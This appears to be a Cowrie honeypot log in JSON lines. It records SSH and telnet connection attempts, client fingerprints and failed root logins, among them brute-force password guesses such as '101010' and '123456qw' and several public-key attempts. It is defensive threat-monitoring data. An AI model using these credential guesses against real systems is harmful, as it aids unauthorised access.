{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:26.694422Z","src_ip":"14.224.227.189","session":"9f1b830857f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"101010","message":"login attempt [root/101010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:26.750477Z","src_ip":"41.242.115.83","session":"e797be7373f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:27.967250Z","src_ip":"41.242.115.83","session":"e797be7373f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44574,"dst_ip":"10.17.0.5","dst_port":23,"session":"374f0eb719da","protocol":"telnet","message":"New connection: 192.119.13.58:44574 (10.17.0.5:23) [session: 374f0eb719da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:30.022465Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.135.33.66","src_port":43544,"dst_ip":"10.17.0.5","dst_port":22,"session":"21bf3e3f4983","protocol":"ssh","message":"New connection: 148.135.33.66:43544 (10.17.0.5:22) [session: 21bf3e3f4983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:43.318968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:43.324117Z","src_ip":"148.135.33.66","session":"21bf3e3f4983","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:43.394249Z","src_ip":"148.135.33.66","session":"21bf3e3f4983","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:ab:64:95:01:c9:57:e5:3e:c0:db:63:8a:8b:e1:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4E/v/noj7VDk3nIbhxsmEcVIsiRa+CdO6IsLmHxYuc0aTnDvNifrNKWN66aR97sCkvVkq70YQ0mfweYby1LgKBfcqeKB6aI9V7zc8R7Ap6jpcNook1wePc8NHzSOVeCIb0zc+yOQBY2f346bMIS45r6nclKO4EGbaJZgs0G0NmwYUdwBCtYOTD9AEEo8OCEDLPraX9kiJ555xJoBSL1RGlzjhP0i3YoxtZiEZ4f2wFCPP36xmIoChH3ogzDSgB1fjkxPs8sS9SRu5XksMBmSbHnftIV/4MQsg04cppm/sPXK1Z+h/8AVfMSImLbS8J/hG3Z/QjPjnmgWJIpNz+qXL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:ab:64:95:01:c9:57:e5:3e:c0:db:63:8a:8b:e1:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:43.711125Z","src_ip":"148.135.33.66","session":"21bf3e3f4983","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:ab:64:95:01:c9:57:e5:3e:c0:db:63:8a:8b:e1:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4E/v/noj7VDk3nIbhxsmEcVIsiRa+CdO6IsLmHxYuc0aTnDvNifrNKWN66aR97sCkvVkq70YQ0mfweYby1LgKBfcqeKB6aI9V7zc8R7Ap6jpcNook1wePc8NHzSOVeCIb0zc+yOQBY2f346bMIS45r6nclKO4EGbaJZgs0G0NmwYUdwBCtYOTD9AEEo8OCEDLPraX9kiJ555xJoBSL1RGlzjhP0i3YoxtZiEZ4f2wFCPP36xmIoChH3ogzDSgB1fjkxPs8sS9SRu5XksMBmSbHnftIV/4MQsg04cppm/sPXK1Z+h/8AVfMSImLbS8J/hG3Z/QjPjnmgWJIpNz+qXL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:43.715448Z","src_ip":"148.135.33.66","session":"21bf3e3f4983","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:c3:5e:6f:87:75:2a:de:c1:f0:f8:97:8f:2e:b8:0f","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANl+QrO1fub+AmLrNyIPgLD31Xztq+bOsf1hsT4Z5MbeeD5NZBfVRoMBxPqh4H7OhDAB7RIdiXrWu2IYZmfE+WC5G9evaQgFI9zhJZ5Tye8qRooLri32hFYrqiQJOaxjrnZ0uSBlnJybg+Jlqx4h6qc7nfiblbrCN75FBG+JonERAAAAFQCdNzCiPe4aJKcX1GdfwNteA+hNJQAAAIB13cKpuWnwrP43Hd4uz600q4TcyZtD+7h9ak1qxQYkFGGmxV5+qO3OESw/J9gCmdjqWmATOySTN4Gij3l3nbfGdCKAY4vfSdRuvmhCGWunIctANQmiY+4z7+Z12fL5WEJDioQHWB0b5GPud2pgiPaqg9BPI5qZ84eiLXudTrWiGQAAAIAuWFY0ICaq0KRspZeV6iTDEq7kD/hVbxS+JdFVrDoRt7bnsB0uxrKmlTeFjqr1KZ5VH45KuKq4DDXoAN/rXC28bmrxB6O71FQJmb70bWqpSlE6kIfZoC40rLeUicCGzFkLXmQDUbdoPkOs77A9N81yADJHxBHz+cV4Of9IxU1q3w==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint e9:c3:5e:6f:87:75:2a:de:c1:f0:f8:97:8f:2e:b8:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:43.783983Z","src_ip":"148.135.33.66","session":"21bf3e3f4983","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:c3:5e:6f:87:75:2a:de:c1:f0:f8:97:8f:2e:b8:0f","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANl+QrO1fub+AmLrNyIPgLD31Xztq+bOsf1hsT4Z5MbeeD5NZBfVRoMBxPqh4H7OhDAB7RIdiXrWu2IYZmfE+WC5G9evaQgFI9zhJZ5Tye8qRooLri32hFYrqiQJOaxjrnZ0uSBlnJybg+Jlqx4h6qc7nfiblbrCN75FBG+JonERAAAAFQCdNzCiPe4aJKcX1GdfwNteA+hNJQAAAIB13cKpuWnwrP43Hd4uz600q4TcyZtD+7h9ak1qxQYkFGGmxV5+qO3OESw/J9gCmdjqWmATOySTN4Gij3l3nbfGdCKAY4vfSdRuvmhCGWunIctANQmiY+4z7+Z12fL5WEJDioQHWB0b5GPud2pgiPaqg9BPI5qZ84eiLXudTrWiGQAAAIAuWFY0ICaq0KRspZeV6iTDEq7kD/hVbxS+JdFVrDoRt7bnsB0uxrKmlTeFjqr1KZ5VH45KuKq4DDXoAN/rXC28bmrxB6O71FQJmb70bWqpSlE6kIfZoC40rLeUicCGzFkLXmQDUbdoPkOs77A9N81yADJHxBHz+cV4Of9IxU1q3w==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:43.787881Z","src_ip":"148.135.33.66","session":"21bf3e3f4983","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:32:38:23:8f:f5:df:2e:b6:7e:22:81:b6:34:4b:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKhzo2x7tfbQQ2pRUfhofuaY0GTTrjd4/Jmd+Jb0XNjjpDvfC/gzE97AsO8XoNUJbg06cSWQpszSNn6FAzXbEXOc/CxV59EIZALneaObtoAm3R8itD4bA0XcEeCAVizY8x4M/pHAQlg69Zn6mG5XViaFqB4ZIphEvea3YWGnkiNnKGfurN/c7XfKwV0tULnVOl0Yc+582GhJuYMJtK2i/SgMMCswn9K8ifSjiMW8sl/F8wc16N4wef6u0JwbmEUAZ7JJsx+pSUBmhcugI47KffKoufo3J2gZEdeRIFFcgE67AgZ9+/s9RemGrCywg5QuOEGObENHB+sURhfN9qv9kX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:32:38:23:8f:f5:df:2e:b6:7e:22:81:b6:34:4b:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:43.859464Z","src_ip":"148.135.33.66","session":"21bf3e3f4983","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:32:38:23:8f:f5:df:2e:b6:7e:22:81:b6:34:4b:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKhzo2x7tfbQQ2pRUfhofuaY0GTTrjd4/Jmd+Jb0XNjjpDvfC/gzE97AsO8XoNUJbg06cSWQpszSNn6FAzXbEXOc/CxV59EIZALneaObtoAm3R8itD4bA0XcEeCAVizY8x4M/pHAQlg69Zn6mG5XViaFqB4ZIphEvea3YWGnkiNnKGfurN/c7XfKwV0tULnVOl0Yc+582GhJuYMJtK2i/SgMMCswn9K8ifSjiMW8sl/F8wc16N4wef6u0JwbmEUAZ7JJsx+pSUBmhcugI47KffKoufo3J2gZEdeRIFFcgE67AgZ9+/s9RemGrCywg5QuOEGObENHB+sURhfN9qv9kX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:43.863364Z","src_ip":"148.135.33.66","session":"21bf3e3f4983","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:ff:c5:23:a3:b9:d0:a4:71:d4:df:b5:dd:75:e6:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJq8bgk0xD5YgxxsPPiUgMSeHnpYmCHhBCpSVhAhPVRgmBA60LST/XD8j3YkvwzVxKa88ACJ5EfnggTs8nnP7j+ruZlO6C2T479Zgbsf3GkOiLiFl/8N4qL4lYkGT26+HNoqJTlcYX6gKPV9SHhnrW4s3YU+y2I48zBkadQMWf4oqOfoK+wPTbBUjsv5/31q48O8A0QOSml0TuJ4VvTKyoSlSL4i7eupu7OL37+WzhIM6IUl2tt3vRn873TCnyQXgyMFWpdOYqDrDgIcJZN9lUmE9P6cNYCY+i6Nyd/F/ytVgwMmhIWxrR6kSVEUPK1oZr1T1hjogzeF0kUYLQXGf9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:ff:c5:23:a3:b9:d0:a4:71:d4:df:b5:dd:75:e6:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:43.931849Z","src_ip":"148.135.33.66","session":"21bf3e3f4983","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:ff:c5:23:a3:b9:d0:a4:71:d4:df:b5:dd:75:e6:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJq8bgk0xD5YgxxsPPiUgMSeHnpYmCHhBCpSVhAhPVRgmBA60LST/XD8j3YkvwzVxKa88ACJ5EfnggTs8nnP7j+ruZlO6C2T479Zgbsf3GkOiLiFl/8N4qL4lYkGT26+HNoqJTlcYX6gKPV9SHhnrW4s3YU+y2I48zBkadQMWf4oqOfoK+wPTbBUjsv5/31q48O8A0QOSml0TuJ4VvTKyoSlSL4i7eupu7OL37+WzhIM6IUl2tt3vRn873TCnyQXgyMFWpdOYqDrDgIcJZN9lUmE9P6cNYCY+i6Nyd/F/ytVgwMmhIWxrR6kSVEUPK1oZr1T1hjogzeF0kUYLQXGf9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:43.936080Z","src_ip":"148.135.33.66","session":"21bf3e3f4983","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6c:7c:93:15:90:1b:ff:1b:bc:46:93:b0:a6:16:ca:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVKk+E63n57DvTL0W7dpFYRjU+Q7Dg23RB07R63jy70uuAe6QfKvAnozNz+OsZ/ekOFSS3kqehYhAqrB8yERw36h6KK4LwGx9ExqktxiVx6GOaiSZ+/lSA5/inXA6www0JFLkJlyQDjzCBoF9wmFfEpuNdIos+TfnEXKW/Bf9gDL74JwoflCYdjSnet/pm8A7UfZOUAurLHXPGeDePeD5mgA8XkJbxDx+dR2b7blbsO1MvUZfqL3aboHLG/uqT+RzVmdc3e9gg6OKxbOvavY/8NidnZrmB9arQzpdv6b5/V7Hndj8buUzxX+FREgwj9HGwz1PK5zFl//0RBbV73nNH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6c:7c:93:15:90:1b:ff:1b:bc:46:93:b0:a6:16:ca:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:44.004057Z","src_ip":"148.135.33.66","session":"21bf3e3f4983","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6c:7c:93:15:90:1b:ff:1b:bc:46:93:b0:a6:16:ca:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVKk+E63n57DvTL0W7dpFYRjU+Q7Dg23RB07R63jy70uuAe6QfKvAnozNz+OsZ/ekOFSS3kqehYhAqrB8yERw36h6KK4LwGx9ExqktxiVx6GOaiSZ+/lSA5/inXA6www0JFLkJlyQDjzCBoF9wmFfEpuNdIos+TfnEXKW/Bf9gDL74JwoflCYdjSnet/pm8A7UfZOUAurLHXPGeDePeD5mgA8XkJbxDx+dR2b7blbsO1MvUZfqL3aboHLG/uqT+RzVmdc3e9gg6OKxbOvavY/8NidnZrmB9arQzpdv6b5/V7Hndj8buUzxX+FREgwj9HGwz1PK5zFl//0RBbV73nNH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:44.008699Z","src_ip":"148.135.33.66","session":"21bf3e3f4983","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:44.080080Z","src_ip":"148.135.33.66","session":"21bf3e3f4983","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":34002,"dst_ip":"159.203.135.109","dst_port":22,"session":"1848bc6420a8","protocol":"ssh","message":"New connection: 194.113.233.25:34002 (159.203.135.109:22) [session: 1848bc6420a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:55.482223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:55.487737Z","src_ip":"194.113.233.25","session":"1848bc6420a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:55.588027Z","src_ip":"194.113.233.25","session":"1848bc6420a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456qw","message":"login attempt [root/123456qw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:55.878839Z","src_ip":"194.113.233.25","session":"1848bc6420a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38022,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c482b990adf","protocol":"telnet","message":"New connection: 192.119.13.58:38022 (10.17.0.5:23) [session: 2c482b990adf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:56.014868Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.197.250.14","src_port":51770,"dst_ip":"10.17.0.5","dst_port":22,"session":"b50708eeb45b","protocol":"ssh","message":"New connection: 168.197.250.14:51770 (10.17.0.5:22) [session: b50708eeb45b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:56.500188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:56.505465Z","src_ip":"168.197.250.14","session":"b50708eeb45b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:56.662922Z","src_ip":"168.197.250.14","session":"b50708eeb45b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:56.976128Z","src_ip":"194.113.233.25","session":"1848bc6420a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.84970283508301,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:57.240070Z","src_ip":"192.119.13.58","session":"549924afd81f","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:d2:48:7c:72:4f:36:a4:5b:69:30:47:1c:c3:99:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2E8V45AMNhX7HuLf0foRadHxntpGlG2THiIvGLL8tuHHfPxvb0HdphzR2VR4RK47Rg637sJEIzfAmj246FKJ2mO4ywv3qQ0ryOwZhq9Zwf6Uz6WvdrZE2nJum6MDt2kXnfosXhEXZcyq41Of7OjH+ZIfzoI/qkXEoIEfHMMoR+bNmnMryuhwGbgH6Vb7ahwkDfdWVlMJQW+3eEDOtSe1Ye07+8AEa7CxI1GDU7sSFz7WXQTPj11o90Bi30ijPDMmC0rFJKe9AWaIyYI4IAVLGzgv15zZBmX/rhQcE3RUdL5ISngHWAB5qmu3tqVIL1Tu4lv5Ci7BWbn1CWQzS/wzir/OpF2tqMk3a6BwdfHaU8SlecxiLUt8h7c2TvMLxM3KUDGCHyqYpfY1prDWGJQgl8xkzUuSJEid3X0cV5bmMFDvhn1WkkaD1pntSpz+DOZw2ik9rqf1nlXrrn0KnY3D1eIXIp2tIwsG2/gRcSN2+hGWceojRlqLHokEnyMi8ibE9hPC5b4W4vCcPertpW7d6lS+YPrbsh9BwAMLtMGZ/1+OpvXDL23zjmim0FfUr6WE6sDyLHn2W50k5QbsVGeopC1Occ7nQa/IQmSPdQ2dhtrzk8B78MR9WPx7277UZH5UXqaB2FDEcldLvSVyqjeuX6fRE09+N8T+GQ+XmBvHkrQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:d2:48:7c:72:4f:36:a4:5b:69:30:47:1c:c3:99:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:57.423786Z","src_ip":"168.197.250.14","session":"b50708eeb45b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:d2:48:7c:72:4f:36:a4:5b:69:30:47:1c:c3:99:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2E8V45AMNhX7HuLf0foRadHxntpGlG2THiIvGLL8tuHHfPxvb0HdphzR2VR4RK47Rg637sJEIzfAmj246FKJ2mO4ywv3qQ0ryOwZhq9Zwf6Uz6WvdrZE2nJum6MDt2kXnfosXhEXZcyq41Of7OjH+ZIfzoI/qkXEoIEfHMMoR+bNmnMryuhwGbgH6Vb7ahwkDfdWVlMJQW+3eEDOtSe1Ye07+8AEa7CxI1GDU7sSFz7WXQTPj11o90Bi30ijPDMmC0rFJKe9AWaIyYI4IAVLGzgv15zZBmX/rhQcE3RUdL5ISngHWAB5qmu3tqVIL1Tu4lv5Ci7BWbn1CWQzS/wzir/OpF2tqMk3a6BwdfHaU8SlecxiLUt8h7c2TvMLxM3KUDGCHyqYpfY1prDWGJQgl8xkzUuSJEid3X0cV5bmMFDvhn1WkkaD1pntSpz+DOZw2ik9rqf1nlXrrn0KnY3D1eIXIp2tIwsG2/gRcSN2+hGWceojRlqLHokEnyMi8ibE9hPC5b4W4vCcPertpW7d6lS+YPrbsh9BwAMLtMGZ/1+OpvXDL23zjmim0FfUr6WE6sDyLHn2W50k5QbsVGeopC1Occ7nQa/IQmSPdQ2dhtrzk8B78MR9WPx7277UZH5UXqaB2FDEcldLvSVyqjeuX6fRE09+N8T+GQ+XmBvHkrQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:57.427545Z","src_ip":"168.197.250.14","session":"b50708eeb45b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.4331693649291992,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:57.447922Z","src_ip":"192.119.13.58","session":"2c482b990adf","protocol":"telnet"}
